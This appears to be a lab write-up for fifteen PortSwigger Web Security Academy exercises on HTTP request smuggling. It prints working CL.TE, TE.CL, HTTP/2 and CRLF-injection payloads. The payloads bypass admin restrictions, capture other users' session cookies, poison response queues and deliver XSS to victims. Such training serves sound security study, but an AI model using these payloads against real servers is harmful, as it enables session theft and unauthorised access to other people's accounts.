Labs Covered

This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to HTTP Request Smuggling:

1 HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

This lab demonstrates how to confirm a CL.TE (Content-Length then Transfer-Encoding) desynchronization vulnerability using differential responses.

2 HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

This lab shows how to confirm a TE.CL (Transfer-Encoding then Content-Length) desynchronization vulnerability using differential responses.

3 Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

This lab demonstrates bypassing front-end security controls by exploiting CL.TE request smuggling vulnerabilities.

4 Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

This lab shows how attackers can bypass security controls using TE.CL desynchronization.

5 Exploiting HTTP request smuggling to reveal front-end request rewriting

This lab demonstrates using request smuggling to reveal how front-end servers rewrite incoming requests.

6 Exploiting HTTP request smuggling to capture other users’ requests

This lab shows how to leverage request smuggling to capture sensitive data from other users' requests.

7 Exploiting HTTP request smuggling to deliver reflected XSS

This lab demonstrates using request smuggling to deliver reflected XSS payloads to other users.

8 Response queue poisoning via H2.TE request smuggling

This lab covers HTTP/2 request smuggling attacks combining H2 (HTTP/2) and TE desynchronization.

9 H2.CL request smuggling

This lab demonstrates HTTP/2 request smuggling via H2.CL (HTTP/2 + Content-Length) vulnerabilities.

10 HTTP/2 request smuggling via CRLF injection

This lab explores HTTP/2 request smuggling using CRLF (Carriage Return Line Feed) injection.

11 HTTP/2 request splitting via CRLF injection

This lab shows how HTTP/2 request splitting can occur via CRLF injection.

12 CL.0 request smuggling

This lab demonstrates request smuggling attacks using a Content-Length value of zero to manipulate request parsing.

13 HTTP request smuggling, basic CL.TE vulnerability

This lab provides a straightforward example of a CL.TE request smuggling vulnerability.

14 HTTP request smuggling, basic TE.CL vulnerability

This lab provides a basic scenario demonstrating TE.CL request smuggling.

15 HTTP request smuggling, obfuscating the TE header

This lab shows how attackers can obfuscate the Transfer-Encoding header to bypass filtering and perform request smuggling.

---

LAB 1 - HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Lab Description

Solution

When the lab start below page will shown in the screen

In http history Browser to the lab URL and the traffic will start flowing into the proxy logs. Grab the GET request to / and send that to repeater.

Changing request to Post and adding body X=1 and changing method to http/1 to know that request smuggling is possible in the request or not

Changing request to Post and adding body X=1 and changing method to http/1 to know that request smuggling is possible in the request or not

Adding payload to

Content-Type: application/x-www-form-urlencoded
 Content-Length: 35 
Transfer-Encoding: chunked
 0
 GET /404 HTTP/1.1
X-Ignore: X

The client side is reading content length which is 35 as show in below image when we select request the inspector tab is telling us 35 length which is content length When request goes to server it is reading till 0 giving us 200 response in burp and termiante then it will take 404 request and whoever request second time it will give Him 404 request and lab is solved

As we can see in below image we have get 404 reponse on second same request

And lab is solved is solved when we have get 404 response

---

LAB 2 - HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

Lab Description

Solution

When the lab start below page will shown in the screen.

In http history Browser to the lab URL and the traffic will start flowing into the proxy logs. Grab the GET request to / and send that to repeater.

Changing request to Post and adding body X=1 and changing method to http/1 to know that request smuggling is possible in the request or not

Using payload

Content-Type: application/x-www-form-urlencoded 
Content-length: 4
 Transfer-Encoding: chunked 

5e
 POST /404 HTTP/1.1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 15
 x=1 
0

The paylaod wil read until 5e and store remaning for next request due to content length usage in the server side and when second request we will come to server it will append reamaning request to that second request

Important:

If we used anything instance of 5e it will not work beacsue 5e is hexadecimal which is equal to 94 which will tell the server there will be 94 bytes more to processsed

After sending second request it will give 404 reponse and lab is solved.

Lab is solved

---

LAB 3 - Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

Lab Description

Solution

When the lab start below page will shown in the screen

Try to visit /admin and observe that the request is blocked.

In http history Browser to the lab URL and the traffic will start flowing into the proxy logs. Grab the GET request to / and send that to repeater.

Changing request to Post and adding body k=1 and changing method to http/1.1 to know that request smuggling is possible in the request or not

Then try to access merged request to /admin was rejected due to not using the header Host: localhost.

Note: Selecting the text or smuggled request at end through right click on mouse and scrolling down in repeater will tell you its content length in right side of inspector tab which is 37 and in hex it is 0x25

Now by addting the local host in smuggled request we can see that the request was blocked due to the second request’s Host header conflicting with the smuggled Host header in the first request.

Now we have created a full smuggled request and sent first time we can see 200 response with no error of duplicate header. When we send second time we See the /admin page which also shows us method to delete carlos

Using the previous response as a reference, change the smuggled request URL to delete carlos:

Note: Selecting the text or smuggled request at end through right click on mouse and scrolling down in repeater will tell you its content length in right side of inspector tab which is 138 and in hex it is 0x8a

Now after sending above request the lab is solved

---

LAB 4 - Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

Lab Description

Solution

When the lab start below page will shown in the screen.

Try to visit /admin and observe that the request is blocked.

In http history Browser to the lab URL and the traffic will start flowing into the proxy logs. Grab the GET request to / and send that to repeater.

Changing request to Post and adding body x=1 and changing method to http/1.1 to know that request smuggling is possible in the request or not

In Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked.

The next step is to create a Get request to /admin in our POST request’s body. We can also see the size of chunked data by selecting till x=1 and in repeater tab we can see the after selected the inspector tab which is circle in rectangle as shown in image below telling us 60 hex which in decimal equal to 96.

Note: chunked size is in hexadecimal

Payload we have used :

we have created two tab in repeater The attacker tab we will send first request of http request smuggling and in normal tab we will send secondrequest to knew smuggled is happent or not

After sending attacker request . We will send normal request which will give 404 response and tell us only localhost can access admin panel.

Using the header Host: localhost now you can now access the admin panel.

Deleting user carlos and lab is solved.

And lab is solved.

---

LAB 5 - Exploiting HTTP request smuggling to reveal front-end request rewriting

Lab Description

Solution

In http history Browser to the lab URL and the traffic will start flowing into the proxy logs. Grab the GET request to / and send that to repeater.

Identify http smuggling type it is TE:CL OR CL:TE OR TE:TE

Using this link https://portswigger.net/web-security/request-smuggling/finding In burpsuite I have try different http request smuggling Technique

First I have use CL.TE vulnerabilities using timing techniques Since the front-end server uses the Content-Length header, it will forward only part of this request, omitting the X. The back-end server uses the Transfer-Encoding header, processes the first chunk, and then waits for the next chunk to arrive. This will cause an observable time delay. We can see in the right last corner it take more than 10 second to reach to the server

CL.TE vulnerabilities using differential responses

This request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with it. And confirm that CL.TE vulnerability exits.I have also try TE.CL but failed.

Exploitation:

Browse to /admin and observe that the admin panel can only be loaded from 127.0.0.1.

Use Burp Repeater to issue the following request twice.

The second response should contain “Search results for” followed by the start of a rewritten HTTP request.

Make a note of the name of the X-*-IP header in the rewritten request, and use it to access the admin panel:

Note:I have try multiple time to access admin panel from sending 2 request attacker and normal from same tab but failed but then I have send attacker request from one tab and Second normal request from the second tab and we have get admin panel

This below is normal request through which we get admin panel.

Using the previous response as a reference, change the smuggled request URL to delete the user carlos and after sending request multiple time we get 302 which mean Carlos is deleted and lab is solved.

Lab is solved

---

LAB 6 - Exploiting HTTP request smuggling to capture other users’ requests

Lab Description

Solution

Sure! Here’s a clean Markdown version of the Overview: Capturing Other Users’ Requests section, without any emojis:

---

Overview: Capturing Other Users’ Requests via HTTP Request Smuggling

---

Technique Summary

If a web application allows users to store and later retrieve textual data—such as comments, names, profile descriptions, or emails—it can potentially be exploited to capture other users’ HTTP requests using a technique known as HTTP request smuggling.

The core idea is to smuggle a specially crafted request in such a way that when another user sends their request, part of their data (e.g., session tokens or headers) gets included in your original smuggled request and ends up being stored in the application’s data store. You can then retrieve this data through normal application functionality.

---

How the Attack Works

Target:

Any feature that stores user-submitted content:

• Blog comments
• Email fields
• Profile descriptions
• Screen names

Attack Flow:

1. You send a smuggled HTTP request that includes a legitimate-looking POST request, ending with a form field (such as comment=) positioned at the end of the request body.
2. You deliberately declare a longer Content-Length than the actual body you’re sending, causing the back-end server to wait for more data.
3. The victim’s request, sent over the same back-end connection, completes your original request by appending its start to your unfinished POST body.
4. As a result, part of the victim’s request (like cookies or headers) is stored as your submitted comment or text.
5. You later visit the comment section or retrieve the data to view the victim’s captured information.

---

Practical Example

Original (Normal) POST Comment Submission:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=attacker-session

csrf=abc&postId=2&comment=Nice+post&name=Attacker&email=attacker@example.com

Smuggled Fat GET (Incomplete Body):

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330
0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=attacker-session

csrf=abc&postId=2&name=Attacker&email=attacker@example.com&comment=

Victim’s Request (Appended to Smuggled Request):

GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=VictimSessionID

Result: The victim’s session ID becomes part of the comment field, and the attacker can retrieve it later by viewing the comment.

---

Solution

In http history Browser to the lab URL and the traffic will start flowing into the proxy logs. Grab the GET request to / and send that to repeater.

CL.TE vulnerabilities using differential responses

This request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with it. And confirm that CL.TE vulnerability exits.I have also try TE.CL but failed.

Now we have identify how can we access admin or user cookie whos vist post.Soi There was comment functionality in the post,we have commented on it

As we can see that we have commented hello on the post.

Sending /post/comment to repeater,So we cam see that what parameter it will takes.

As we can see that it is taking six pararameter

HTTP Request Smuggling to Capture Session Cookie

1. Send the comment-post request to Burp Repeater.
2. Shuffle the body parameters so that the comment parameter is the last one in the request.
3. Confirm that the comment still successfully gets stored on the blog.
4. Increase the Content-Length header of the smuggled request gradually.
   • Initially set to 400, but no session cookie captured.
   • Once increased to around 950, the session cookie of the victim is successfully captured.

---

Final Payload Used

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=your-session-token

csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test

How This Payload Works

• The comment field is deliberately positioned at the end of the body in the smuggled POST request.
• The Content-Length of the smuggled comment-post request is declared as 400, but only ~250 bytes are actually sent.
• This causes the back-end server to wait for the remaining ~150 bytes to complete the declared body length.
• When the next user request hits the same backend connection, its start (which includes their session cookie) is interpreted as part of the smuggled request’s body.
• The session cookie or other sensitive data from the victim is therefore appended to the comment field.
• As a result, the victim’s session token becomes visible in the blog comment that the attacker can later view.

As we can see that after sending previous smuggle request 100s of time and reloading post we have finally get session cookie of user.

Editing session cookie

After editing session cookie and reloading page we have get the session cookie.

---

LAB 7 - Exploiting HTTP request smuggling to deliver reflected XSS

Lab Description

Solution

Overview: Exploiting Reflected XSS via HTTP Request Smuggling

This technique combines HTTP request smuggling with reflected cross-site scripting (XSS) to exploit users without their interaction.

---

---

Why It’s Effective

1. No user interaction required Unlike typical XSS where victims must click a crafted link, this method hits users passively as they access the app.

2. Targets hard-to-reach vectors It allows exploitation of input sources like headers that are usually not controllable in a standard XSS scenario.

---

Example Attack Payload

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

• The back-end server is tricked into processing this as two requests.
• The next incoming user receives the response with the User-Agent header reflected, triggering the XSS.

---

Visit a blog post, and send the request to Burp Repeater. Observe that the comment form contains your User-Agent header in a hidden input.

Sending blog post to repeater.

In http history Browser to the lab URL and the traffic will start flowing into the proxy logs. Grab the GET request to / and send that to repeater to test that smuggling is possible or not.

CL.TE vulnerabilities using differential responses

This request now contains an invalid URL, the server will respond with status code 404, indicating that the attack request did indeed interfere with it. And confirm that CL.TE vulnerability exits.I have also try TE.CL but failed

Inject an XSS payload into the User-Agent header and observe that it gets reflected:

"/><script>alert(1)</script>

Smuggle this XSS request to the back-end server, so that it exploits the next visitor:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

Server is using Transfer Encoding, So from 0 below all the request will stored on server for other user request to append user to that user agent request and generate alert

Send the abvove request and server will wait until next user visit blog post 5 and he will inject alert and alert will be genrtaed on screen

As we can see in below image alert is injected on user agent in the blog post.

And lab is solved.

---

LAB 8 - Response queue poisoning via H2.TE request smuggling

Lab Description

Solution

Bascially this lab is like below image in this lab first we will send two request in single request one is for attacker and second is smuggled request which is stored on server side waiting for another request which reponse send to victum user and victum request is stored on server side and when other user or atacker send request to to server the reponse of that is send to attacker which alos contains important info like victum session cookie e.t.c

Additionaly in this lab we are using http/2 to smuggle request not http/1 but second smuggle request will be http/1.1 but initial first request will be http/2.

When we start lab belwo page will show on the screen

We try to login as administer but is available to admin user.

After changing request to post and pasting the payload to identified that http request smuggling is possible we see it Not working because we have a gap after 1.1 which causes not to work

After fixing the space and sending request we see 200 response.Now we send normal request to look for possible smuggling happened or not

Sending normal request give us 404 reponse which means the preeevious request is smuggled successfully

In Burp Repeater, create the following request, which smuggles a complete request to the back-end server.

Note that the path in both requests points to a non-existent endpoint. This means that your request will always get a 404 response. Once you have poisoned the response queue, this will make it easier to recognize any other users’ responses that you have successfully captured.

POST /x HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net

Wait for around 5 seconds, then send the request again to fetch an arbitrary response. Most of the time, you will receive your own 404 response. Any other response code indicates that you have successfully captured a response intended for the admin user. Repeat this process until you capture a 302 response containing the admin’s new post-login session cookie.

Note If you receive some 200 responses but can’t capture a 302 response even after a lot of attempts, send 10 ordinary requests to reset the connection and try again.

Copy the session cookie

Paste the above session cookie and redirection url to acess admin panel

Go to admin panel and delete Carlos and lab is solved

Lab is solved

---

LAB 9 - H2.CL request smuggling

Lab Description

Solution

To begin with when we start lab we have below page.

We have search whose content is reflected inside an h1 element:

We have search come in http history in post / request sending that to repeater.

The \r\n you see in HTTP requests refers to two special characters combined: • \r (Carriage Return): This character (ASCII code 13) tells the computer to move the cursor to the beginning of the current line. • \n (Line Feed): This character (ASCII code 10) tells the computer to move the cursor down one line. Together, \r\n creates a new line marker, signifying the end of a line in the HTTP request.

Burpsuite automatically add it \r\n but you can also add it through clicking on circle rectangle

We can see the request we have send to repeater in burpsuite.

Note: if we have no post request than Changing request to Post and adding body x=1 and changing method to http/1.1 to know that request smuggling is possible in the request or not.

We also change l=s and send to repeater and see 200 response

Note: if we have no post request than Changing request to Post and adding body x=1 and changing method to http/1.1 to know that request smuggling is possible in the request or not.

Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix.beacuse in http.2 length is not dependented on header it will automatically detect it when the request is send

Using enagagment tool in burp to discover content

We can see that resource is redirecting us to url/resources

Create the following request to smuggle the start of a request for /resources, along with an arbitrary Host header:

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: foo
Content-Length: 5

x=1

Send the request a few times. Notice that smuggling this prefix past the front-end allows you to redirect the subsequent request on the connection to an arbitrary host

Go to the exploit server and change the file path to /resources. In the body, enter the payload alert(document.cookie), then store the exploit.

In Burp Repeater, edit your malicious request so that the Host header points to your exploit server:

Send the request a few times and confirm that you receive a redirect to the exploit server. Resend the request and wait for 10 seconds or so.

Go to the exploit server and check the access log. If you see a GET /resources/ request from the victim, this indicates that your request smuggling attack was successful. Otherwise, check that there are no issues with your attack request and try again.

Once you have confirmed that you can cause the victim to be redirected to the exploit server, repeat the attack until the lab solves. This may take several attempts because you need to time your attack so that it poisons the connection immediately before the victim’s browser attempts to import a JavaScript resource. Otherwise, although their browser will load your malicious JavaScript, it won’t execute it.

And then lab is solved

---

LAB 10 - HTTP/2 request smuggling via CRLF injection

Lab Description

Solution

HTTP/2 Request Smuggling via Search Functionality

In this lab, we observed a search function that records and reflects previous search terms submitted by the user. When we removed the session cookie and reloaded the page, the search history disappeared. This indicates that the search data is tied to the user’s session.

Exploitation Approach

We leveraged this behavior to capture other users’ requests by performing HTTP request smuggling using HTTP/2. The idea was to craft a request with an incomplete body by specifying a greater Content-Length, allowing the server to read part of a subsequent user’s request as part of our own.

Key Exploit Details

• We crafted a foo header and used it to identify chunked encoding in the request.
• The crafted body contained a partial search query, allowing the server to append the remaining bytes from a victim user’s request.
• This resulted in the victim’s query being stored under our session’s search history.

HTTP/2 to HTTP/1.1 Downgrade

This lab is unique in that:

• The initial smuggled request uses HTTP/2.
• The back-end server processes requests using HTTP/1.1.
• This protocol downgrade introduces parsing discrepancies, which we exploit to smuggle headers and body content past the front-end controls.

Reconnaissance

Before launching the exploit, we explored the application and noticed the search functionality stored historical queries for the logged-in user. This behavior gave us the opportunity to capture session-specific input from other users, confirming the site’s vulnerability to HTTP/2 request smuggling.

Let’s identify how these historical searches are being stored. Searching the DOM, the only JS script is for the actual lab header. Looking at the cookies, I see I have two.

If I remove the session cookie the historical searches are no longer reflected back to my screen and I get a new cookie.

Sending post and get request to repeater from the http history

Try to smuggled request but failed we will used other method to smuggled request in http2 header

Now, hit the [+] at the bottom of the Request Headers section to add a new header. Use a header name of something that will not get processed by the web application.

For the value it gets a little more tricky. Enter some value and then hit [SHIFT] + [ENTER] to insert the CRLF characters. Manually putting ‘\r\n’ will cause those 4 characters rather than the two special CRLF characters to be embedded. Burp will insert and highlight the characters if they are inserted correctly.

Note: this techniques is used to bypass restricion on fronted side

After the CRLF, let’s try to insert a value for Content-Length to see if we can cause any kind of mishandling or queueing of the request. Hit the add and then apply. If you did everything correctly, you should see an information dialog pop at the top of Burp

Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix

Change the body of the request to the following:

0

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE
Content-Length: 800

search=x

Send the request, then immediately refresh the page in the browser. The next step depends on which response you receive: ○ If you got lucky with your timing, you may see a 404 Not Found response. In this case, refresh the page again and move on to the next step. ○ If you instead see the search results page, observe that the start of your request is reflected on the page because it was appended to the search=x parameter in the smuggled prefix. In this case, send the request again, but this time wait for 15 seconds before refreshing the page. If you see a 404 response, just refresh the page again.

We can see 800 content-length which will alloacted free space on server and wait for that admin request and display on search result

Check the recent searches list. If it contains a GET request, this is the start of the victim user’s request and includes their session cookie. If you instead see your own POST request, you refreshed the page too early. Try again until you have successfully stolen the victim’s session cookie.

Paste thle above session cookie and lab is solved

---

LAB 11 - HTTP/2 request splitting via CRLF injection

Lab Description

Overview: Smuggling Prohibited Headers via HTTP/2-to-HTTP/1 Conversion

Even if modern web servers implement defenses against traditional HTTP/1 request smuggling techniques (like H2.CL or H2.TE), the binary nature of HTTP/2 introduces new bypass opportunities.

---

Key Concepts

• HTTP/2 is binary Unlike HTTP/1, which is text-based and uses delimiters like \r\n to indicate header boundaries, HTTP/2 uses fixed-length binary fields. This means special character sequences like \r\n can be embedded inside header values without causing parsing issues in HTTP/2.

• Header interpretation mismatch A front-end server (speaking HTTP/2) may accept headers like:

  foo: bar\r\nTransfer-Encoding: chunked
  

  Since \r\n has no parsing effect in HTTP/2, this is just a header with a complex value.

• Back-end (HTTP/1) re-interpretation If this request is forwarded to a back-end server over HTTP/1, the embedded \r\n will be treated as a real header boundary, causing the back-end to interpret the above as two headers:

  foo: bar
  Transfer-Encoding: chunked
  

  This effectively smuggles a prohibited header (Transfer-Encoding) past front-end validation.

---

Implications

• Bypasses front-end security checks Front-end servers may strip or block certain headers, but attackers can bypass these restrictions using binary smuggling techniques.

• Leads to smuggling and desync attacks This discrepancy can lead to classic HTTP request smuggling scenarios, allowing attackers to desynchronize client and server behavior, potentially stealing data or bypassing access controls.

---

Solution

In this lab we have apply multiple technique to smuggle request but none of them work then we have add full smugle request on foo header of http2 request and smugge request.Basically when server see /r/n/r/n 2 times crlf it will think that this is end of the request.we will take advantage of that and add smuggle request after 2 crlf and get admin session

Additionaly in this lab we are using http/2 to smuggle request not http/1 but second smuggle request will be http/1.1 but initial first request will be http/2

Access the lab and visit admin panel we can see that only admin can access the admin panel

Send both red request to repeater

Try to smuggled request but failed we will used other method to smuggled request in http2 header

Now, hit the [+] at the bottom of the Request Headers section to add a new header. Use a header name of something that will not get processed by the web application.

For the value it gets a little more tricky. Enter some value and then hit [SHIFT] + [ENTER] to insert the CRLF characters. Manually putting ‘\r\n’ will cause those 4 characters rather than the two special CRLF characters to be embedded. Burp will insert and highlight the characters if they are inserted correctly.

Note: This techniques is used to bypass restricion on fronted side .The 2 CRLF /r/n/r/n will br treated as end of request and after that GET /404 will be treated as stored in server for smugglling

You can also used below payload I have used my own technizque of quesue posing

Name
foo
Value
bar\r\n\r\n
GET /x HTTP/1.1\r\n
Host: YOUR-LAB-ID.web-security-academy.net

Now sending below request will excute the first request of http/2 and stored below request on server for victim anf when victum request the below 404 response will be given to him and his request will be stored on server and then attacker send request and victim response will be send to hime which contain session cookie of victim.

Wait for around 5 seconds, then send the request again to fetch an arbitrary response. Most of the time, you will receive your own 404 response. Any other response code indicates that you have successfully captured a response intended for the admin user. Repeat this process until you capture a 302 response containing the admin’s new post-login session cookie.

Paste the above session cookie and redirection url to acess admin panel

Visit admin panel and delete carlos and lab is solved.

Note
You can also solve the lab using Burp Repeater with the following steps:

1. Copy the stolen session cookie and use it to send the following request:

    GET /admin HTTP/2
    Host: YOUR-LAB-ID.web-security-academy.net
    Cookie: session=STOLEN-SESSION-COOKIE
   

2. Send the request repeatedly until you receive a 200 OK response containing the admin panel.

3. In the response, locate the URL to delete Carlos, which should look like:

    /admin/delete?username=carlos
   

4. Update the path in your request with the deletion URL:

    GET /admin/delete?username=carlos HTTP/2
    Host: YOUR-LAB-ID.web-security-academy.net
    Cookie: session=STOLEN-SESSION-COOKIE
   

5. Send the request to delete Carlos and solve the lab.

---

LAB 12 - CL.0 request smuggling

Lab Description

Solution

Here’s a clear and concise overview based on your provided content:

---

Overview: Browser-Powered Request Smuggling (CL.0)

Browser-powered request smuggling is a powerful technique that lets attackers exploit HTTP desynchronization without needing malformed requests. Instead, attackers can use requests that browsers are capable of sending, making the attack more practical and widely applicable.

One variation is the CL.0 attack, where:

• The front-end server honors the Content-Length header and waits for a full body.
• The back-end server ignores the Content-Length and treats the request as ending at the end of the headers.

This mismatch lets attackers smuggle additional requests into the back-end, which may then affect the next user’s interaction — all without needing special headers like Transfer-Encoding.

This attack can be tested using tools like Burp Suite by grouping a setup request (containing a smuggled prefix) and a follow-up request on a single connection.

If the back-end interprets the body as a new request (e.g., returns a 404 for a GET inside the body), it indicates a CL.0 vulnerability.

Key advantages:

• Works in modern browsers.
• Does not require malformed HTTP/1 headers.
• Can target headers not normally reachable via reflected XSS (like User-Agent).
• Enables powerful exploits like session hijacking and client-side desynchronization.

Solution

In this lab, the front-end is using the content-length and the back-end is ignoring the content-length hence CL.0 To detect a vulnerability like this, we need to find an endpoint that ignores the content-length header. These could be static files, requests to server redirects, request server errors. etc

In this case, we can try use the endpoints highlighted above. Send to the repeater and change the request method to POST. Remember to downgrade the connection to HTTP/1.1.

As Proof of concept, disable the update content length automatically and set a content-length that is higher. If the server hangs for a few seconds and a read timeout response then the path to static file is vulnerable to a CL.0 vulnerability.

We might as well try to smuggle a resource that does not exist. With this in mind, it is useless to control the content-length, as we need the front-end server to forward our entire request.

We get a 404 Not Found,This confirms that the attack works. Since the goal is to get to admin access,we might as well try /admin path.

Now we get to delete the user Carlos.<

And lab is solved

---

LAB 13 - HTTP request smuggling, basic CL.TE vulnerability

Lab Description

Solution

Firstly when I start the lab I have seen a static blog post as shown below.

Going to burp http history and sending starting / request to repeater.Intial all request in burp are HTTP2 ,SO WE HAVE TO CHANGE IT TO HTTP1.1

Manually switch protocols to http1 in Burp Repeater from the Request attributes section of the Inspector panel

AND SECONDLY WE HAVE CHANGE GET REQUEST TO POST

Note:

To calculate the Content-Length in bytes, count each character in the request body, including:

• Spaces
• Newline characters
• Any other visible or encoded characters

Calculation Tip:
Count all characters carefully and ensure the byte count matches the Content-Length header to prevent misinterpretation or desynchronization.

---

Explanation of Key Headers Used:

• Connection: keep-alive
  Keeps the connection open to allow multiple requests over the same TCP connection.

• Content-Type: application/x-www-form-urlencoded
  Tells the server that the body is in standard form-encoded format.

• Content-Length: 6
  Instructs the front-end to read only 6 bytes from the body.

• Transfer-Encoding: chunked
  Tells the back-end to ignore Content-Length and instead read the body until it encounters a 0 (end of chunks).

---

Payload Structure (CL.TE Attack):

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

Sending request first time give us 200 response because client side is checking for Content length and server side is looking for Transfer encoding and when sever side transfer encoding look for 0 and terminate and then G will be appended to next same request any request comes to server Like Gpost in our case.

Second time sending request give us us GPOST error because in previous request G is left due to 0 which mean terminated in TE and now G is appneded in next our request of post G added with poast make it GPOST and there is no such method which give us error or it can be any other reuqest.

We can also see how too get the content length of text in below image.

We can also used below request by removing unnecessary header payload

POST / HTTP/1.1 
Host: YOUR-LAB-ID.web-security-academy.net 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded
 Content-Length: 6
 Transfer-Encoding: chunked

 0 
 G

Same sending second time request append G

And lab is solved

We can used anything as append in our paylaod but our lab require was G in below case we have append l in sending second time request

Using extension to find http request smuggling

Sending request to repeater

Scanning all scans of http request smuggling

As we can see in flow extension our payload are sending to server

In the target tab we can see that burp has successfully idendtified the http request smuggling vulnerability

After scan is 45% to 50% complete it also ask to perform cl te or te cl to perform more specific type of http smuggling attack

After clicking on cl te new tab will open which will ask us to lanuch attack

---

LAB 14 - HTTP request smuggling, basic TE.CL vulnerability

Lab Description

Overview: TE.CL Vulnerabilities

TE.CL request smuggling occurs when:

• The front-end server respects the Transfer-Encoding: chunked header.
• The back-end server ignores Transfer-Encoding and relies on the Content-Length header.

---

How the Attack Works

1. You craft a request with both headers:

   POST / HTTP/1.1
   Host: vulnerable-website.com
   Content-Length: 3
   Transfer-Encoding: chunked
   
   8
   SMUGGLED
   0
   
   

   • Transfer-Encoding: chunked tells the front-end to parse the body in chunks.
   • Content-Length: 3 tells the back-end to read only the first 3 bytes of the body.

2. The front-end processes it like this:

   • Reads chunk size 8, then 8 bytes (SMUGGLED).
   • Then reads 0 and terminates the request cleanly.

3. The back-end sees Content-Length: 3 and:

   • Reads just 8\r\n as the body.
   • Leaves SMUGGLED\r\n0\r\n\r\n in the buffer as the start of the next request.

---

Impact

• The leftover data (SMUGGLED...) becomes a ghost request.

• This can:

  • Hijack user sessions.
  • Poison cache.
  • Trigger XSS or CSRF.
  • Enable internal access.

---

Solution

In this lab client side is looking for transfer encoding and server side is looking for content length

First we click on the lab and below page is shown up

Intercept the root request and send to repeater.

In this case, changing the GET to a POST gives us back a 200 so we can work with this page. I additionally added in a POST body of ‘x=1’ just to ensure passing content would not cause an issue.

Change request to http/1.1 in the inspector tab

The payload we used is

Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded
Content-Length:4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

We can also remove uncessay header but I donot do it we you want to remove unnecessary header used below request

Sending first time request will gives us 200 response and store smuggled request of gpost for another request which will come next to server

Note: The Rectangle in request are used tell content-length used by /r \n 5c create 4 byte length in content length one character is equal to one byte

After we send second request GPOTS error come whcoh menaq server has succesully smuggled request

After sending succesfully gpost request lab is solved.

---

LAB 15 - HTTP request smuggling, obfuscating the TE header

Lab Description

Overview: TE.TE Behavior – Obfuscating the Transfer-Encoding Header

TE.TE vulnerabilities arise when:

• Both front-end and back-end servers support the Transfer-Encoding header.
• However, only one of them processes it due to obfuscation in the header.

---

Key Concept

By obfuscating the Transfer-Encoding header (e.g., Transfer-Encoding : chunked, Transfer-Encoding\t:\tchunked, or with mixed casing or line folding), you can:

• Trick one server (front-end or back-end) into ignoring the header,
• While the other still parses it correctly.

This creates a desynchronization between both servers’ interpretations of the HTTP request.

---

Common Obfuscation Techniques

Solution

The goal of the lab is to once again cause a GPOST request. This is going to be very similar to the TE.CL lab, but we’ll have to mess with the headers to get the backend to process the request using Content-Length rather than transfer encoding.

After starting lab below page will show up on the screen

Browser to the lab URL and the traffic will start flowing into the proxy logs. Grab the GET request to / and send that to repeater.

We need to be able to send a request body if the page has the potential to be vulnerable. In Repeater, change the request from a GET to a POST also change http/1.1 to request and resend.

We get a 200 and it accepts a payload in the body so we can move on to the next step.

I let Burp set the Content-Length for me. With both sets of headers present and the payload constructed to conform to Transfer-Encoding: chunked, the request is processed successfully and we receive a 200 response.

Here’s the step where we would test for CL.TE and TE.CL vulnerabilities. Force setting the Content-Length to an incorrect value (either too long or too short) always yields a 200 response. In the below request we have remove unnecessary header .

This means we can assume both the backend and frontend are conforming to the HTTP specification are both are honoring transfer encoding. If I do misconfigure the payload, I immediately get a 500 error.

Here is now where we test if we can get the web application to ignore the Transfer-Encoding header and fall back to Content-Length. By placing a second Transfer-Encoding header, it’s possible a part of the web application infrastructure will mishandle the request.

Double TE header with multiple submits

200 response, so now we change the TE header to have an odd value:

500 response. This might mean that either the frontend or backend honors the first TE header it encounters and does not fall back to Content-Length. Here is where we try reordering the headers.

This hangs for a very long time and then returns a 500. This is great! I still have a Content-Length of 300 in the payload. Let’s set it to something less than the length of the provided payload and try multiple submits:

Bingo!
